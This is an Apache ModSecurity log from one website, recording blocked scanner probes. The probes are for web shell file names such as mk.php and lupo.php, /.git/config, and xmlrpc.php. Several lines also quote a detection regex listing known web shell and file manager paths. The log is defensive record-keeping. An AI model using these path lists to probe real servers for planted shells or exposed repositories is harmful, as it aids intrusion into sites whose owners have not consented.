[Thu Apr 16 02:07:52.713759 2026] [:error] [pid 54814:tid 54827] [client 172.213.218.185:37174] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "ad_T-DrHu_-tAAe-BOWxQQAAAYc"]
[Thu Apr 16 02:07:53.653867 2026] [:error] [pid 790:tid 806] [client 172.213.218.185:50930] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "ad_T-SHz-rbrjNOa3VKqEAAAAAs"]
[Thu Apr 16 02:07:54.744034 2026] [:error] [pid 912:tid 974] [client 172.213.218.185:15911] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "ad_T-sU0_VzYCBipADk0uAAAAQY"]
[Thu Apr 16 02:07:55.801188 2026] [:error] [pid 791:tid 852] [client 172.213.218.185:11319] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "ad_T-7xl5Y18om2fepndEAAAAEw"]
[Thu Apr 16 02:07:58.620552 2026] [:error] [pid 792:tid 894] [client 172.213.218.185:2691] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "ad_T_t3PZ8z30TezIkZjYQAAANA"]
[Thu Apr 16 02:08:01.788459 2026] [:error] [pid 20548:tid 20551] [client 172.183.132.67:12608] [client 172.183.132.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_UAakpqgnqCHq6bJa7zQAAAIA"], referer: https://www.google.com/
[Thu Apr 16 02:08:03.317143 2026] [:error] [pid 20548:tid 20570] [client 172.213.218.185:18543] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "ad_UA6kpqgnqCHq6bJa70AAAAJM"]
[Thu Apr 16 02:08:37.709102 2026] [:error] [pid 34542:tid 34564] [client 172.213.218.185:50856] [client 172.213.218.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.gigfragments.org"] [uri "/fm.php"] [unique_id "ad_UJQdF4OGi-asleB6R3wAAAVQ"]
[Thu Apr 16 02:08:41.422074 2026] [:error] [pid 54814:tid 54831] [client 172.213.218.185:13254] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mk.php"] [unique_id "ad_UKTrHu_-tAAe-BOWxiQAAAYs"]
[Thu Apr 16 02:08:42.559429 2026] [:error] [pid 34542:tid 34551] [client 172.213.218.185:6238] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mk.php"] [unique_id "ad_UKgdF4OGi-asleB6R6gAAAUc"]
[Thu Apr 16 02:08:43.924852 2026] [:error] [pid 34542:tid 34544] [client 172.213.218.185:21907] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mk.php"] [unique_id "ad_UKwdF4OGi-asleB6R7gAAAUA"]
[Thu Apr 16 02:08:47.490003 2026] [:error] [pid 34542:tid 34552] [client 172.213.218.185:12898] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mk.php"] [unique_id "ad_ULwdF4OGi-asleB6R9gAAAUg"]
[Thu Apr 16 02:14:41.174466 2026] [:error] [pid 20548:tid 20554] [client 88.88.156.124:60810] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ad_VkakpqgnqCHq6bJbAOgAAAIM"]
[Thu Apr 16 02:14:43.010555 2026] [:error] [pid 54814:tid 54829] [client 88.88.156.124:34882] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ad_VkzrHu_-tAAe-BOWzlQAAAYk"]
[Thu Apr 16 02:14:45.067595 2026] [:error] [pid 34542:tid 34568] [client 88.88.156.124:34898] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ad_VlQdF4OGi-asleB6VLwAAAVg"]
[Thu Apr 16 02:14:46.946153 2026] [:error] [pid 912:tid 987] [client 88.88.156.124:54008] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ad_VlsU0_VzYCBipADk2agAAARM"]
[Thu Apr 16 02:14:48.978643 2026] [:error] [pid 20548:tid 20571] [client 88.88.156.124:54020] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ad_VmKkpqgnqCHq6bJbAUAAAAJQ"]
[Thu Apr 16 02:14:50.848283 2026] [:error] [pid 20548:tid 20568] [client 88.88.156.124:54022] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ad_VmqkpqgnqCHq6bJbAWQAAAJE"]
[Thu Apr 16 02:14:52.902043 2026] [:error] [pid 34542:tid 34559] [client 88.88.156.124:54030] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ad_VnAdF4OGi-asleB6VOgAAAU8"]
[Thu Apr 16 02:14:54.896702 2026] [:error] [pid 20548:tid 20556] [client 88.88.156.124:54044] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ad_VnqkpqgnqCHq6bJbAZQAAAIU"]
[Thu Apr 16 02:14:56.928708 2026] [:error] [pid 790:tid 796] [client 88.88.156.124:44834] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ad_VoCHz-rbrjNOa3VKq-AAAAAI"]
[Thu Apr 16 02:18:27.153899 2026] [:error] [pid 912:tid 971] [client 172.178.118.83:26624] [client 172.178.118.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_Wc8U0_VzYCBipADk3CQAAAQM"]
[Thu Apr 16 02:30:12.786603 2026] [:error] [pid 34542:tid 34545] [client 43.159.132.207:48612] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad_ZNAdF4OGi-asleB6cfwAAAUE"]
[Thu Apr 16 03:27:40.263754 2026] [:error] [pid 791:tid 864] [client 216.73.216.218:7072] [client 216.73.216.218] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ad_mrLxl5Y18om2fepnnkwAAAFY"]
[Thu Apr 16 03:27:41.420760 2026] [:error] [pid 34542:tid 34560] [client 216.73.216.218:51716] [client 216.73.216.218] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "ad_mrQdF4OGi-asleB6p0QAAAVA"], referer: https://www.gigfragments.org/robots.txt
[Thu Apr 16 04:01:42.717439 2026] [:error] [pid 57537:tid 57596] [client 13.83.162.4:37865] [client 13.83.162.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_uplVQRS8nm73ENAkJPAAAAFU"]
[Thu Apr 16 05:57:12.968511 2026] [:error] [pid 57537:tid 57584] [client 104.28.163.234:10204] [client 104.28.163.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeAJuFVQRS8nm73ENAkugwAAAEk"]
[Thu Apr 16 06:04:03.971566 2026] [:error] [pid 29603:tid 29605] [client 20.215.49.170:59864] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeALU1fGOR6fpTWUAzq8rwAAAQA"]
[Thu Apr 16 06:04:05.079247 2026] [:error] [pid 57536:tid 57555] [client 20.215.49.170:59897] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeALVSQU4faGja6jpDt85QAAAAc"]
[Thu Apr 16 06:04:05.700710 2026] [:error] [pid 57538:tid 57621] [client 20.215.49.170:55078] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeALVcuMaiEF5SVR2BcwcgAAAJM"]
[Thu Apr 16 06:04:06.430301 2026] [:error] [pid 29603:tid 29627] [client 20.215.49.170:51363] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeALVlfGOR6fpTWUAzq8sAAAARY"]
[Thu Apr 16 06:04:07.335903 2026] [:error] [pid 29603:tid 29608] [client 20.215.49.170:55665] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeALV1fGOR6fpTWUAzq8sQAAAQM"]
[Thu Apr 16 06:04:08.184876 2026] [:error] [pid 57537:tid 57591] [client 20.215.49.170:62170] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeALWFVQRS8nm73ENAkvHgAAAFA"]
[Thu Apr 16 06:04:09.121162 2026] [:error] [pid 57538:tid 57606] [client 20.215.49.170:55678] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeALWcuMaiEF5SVR2BcwdAAAAIQ"]
[Thu Apr 16 06:04:10.281248 2026] [:error] [pid 57538:tid 57602] [client 20.215.49.170:60601] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeALWsuMaiEF5SVR2BcwdgAAAIA"]
[Thu Apr 16 06:04:11.389825 2026] [:error] [pid 57639:tid 57651] [client 20.215.49.170:53297] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeALW6MCQoTw7TsxWunEMwAAAMU"]
[Thu Apr 16 06:04:12.336372 2026] [:error] [pid 49094:tid 49116] [client 20.215.49.170:55647] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeALXDbDwvcXorHR_MyCcgAAAVQ"]
[Thu Apr 16 06:04:13.672777 2026] [:error] [pid 29603:tid 29613] [client 20.215.49.170:60559] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeALXVfGOR6fpTWUAzq8tQAAAQg"]
[Thu Apr 16 06:04:14.583434 2026] [:error] [pid 29603:tid 29623] [client 20.215.49.170:55649] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeALXlfGOR6fpTWUAzq8ugAAARI"]
[Thu Apr 16 06:04:15.584314 2026] [:error] [pid 29603:tid 29618] [client 20.215.49.170:61001] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeALX1fGOR6fpTWUAzq8vgAAAQ0"]
[Thu Apr 16 06:04:16.341933 2026] [:error] [pid 29603:tid 29605] [client 20.215.49.170:55633] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeALYFfGOR6fpTWUAzq8vwAAAQA"]
[Thu Apr 16 06:04:17.160640 2026] [:error] [pid 57538:tid 57623] [client 20.215.49.170:51389] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeALYcuMaiEF5SVR2BcwewAAAJU"]
[Thu Apr 16 06:04:18.394141 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:53282] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeALYjbDwvcXorHR_MyCcwAAAVI"]
[Thu Apr 16 06:04:19.264294 2026] [:error] [pid 49094:tid 49119] [client 20.215.49.170:51344] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeALYzbDwvcXorHR_MyCdAAAAVc"]
[Thu Apr 16 06:04:20.380940 2026] [:error] [pid 29603:tid 29615] [client 20.215.49.170:61000] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeALZFfGOR6fpTWUAzq8wwAAAQo"]
[Thu Apr 16 06:04:21.106604 2026] [:error] [pid 29603:tid 29614] [client 20.215.49.170:55088] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeALZVfGOR6fpTWUAzq8xgAAAQk"]
[Thu Apr 16 06:04:21.675582 2026] [:error] [pid 57639:tid 57659] [client 20.215.49.170:59903] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeALZaMCQoTw7TsxWunEfQAAAM0"]
[Thu Apr 16 06:04:22.238621 2026] [:error] [pid 29603:tid 29627] [client 20.215.49.170:53303] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeALZlfGOR6fpTWUAzq8zAAAARY"]
[Thu Apr 16 06:04:22.832861 2026] [:error] [pid 57538:tid 57607] [client 20.215.49.170:60605] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeALZsuMaiEF5SVR2BcwgQAAAIU"]
[Thu Apr 16 06:04:23.757337 2026] [:error] [pid 29603:tid 29622] [client 20.215.49.170:60586] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeALZ1fGOR6fpTWUAzq80wAAARE"]
[Thu Apr 16 06:04:24.486956 2026] [:error] [pid 57537:tid 57577] [client 20.215.49.170:55072] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeALaFVQRS8nm73ENAkvIwAAAEI"]
[Thu Apr 16 06:04:25.217524 2026] [:error] [pid 49094:tid 49104] [client 20.215.49.170:61049] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeALaTbDwvcXorHR_MyCfQAAAUg"]
[Thu Apr 16 06:04:26.166449 2026] [:error] [pid 57537:tid 57587] [client 20.215.49.170:51364] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeALalVQRS8nm73ENAkvJQAAAEw"]
[Thu Apr 16 06:04:26.801465 2026] [:error] [pid 57537:tid 57586] [client 20.215.49.170:59899] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeALalVQRS8nm73ENAkvJgAAAEs"]
[Thu Apr 16 06:04:27.772878 2026] [:error] [pid 29603:tid 29626] [client 20.215.49.170:60586] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeALa1fGOR6fpTWUAzq88AAAARU"]
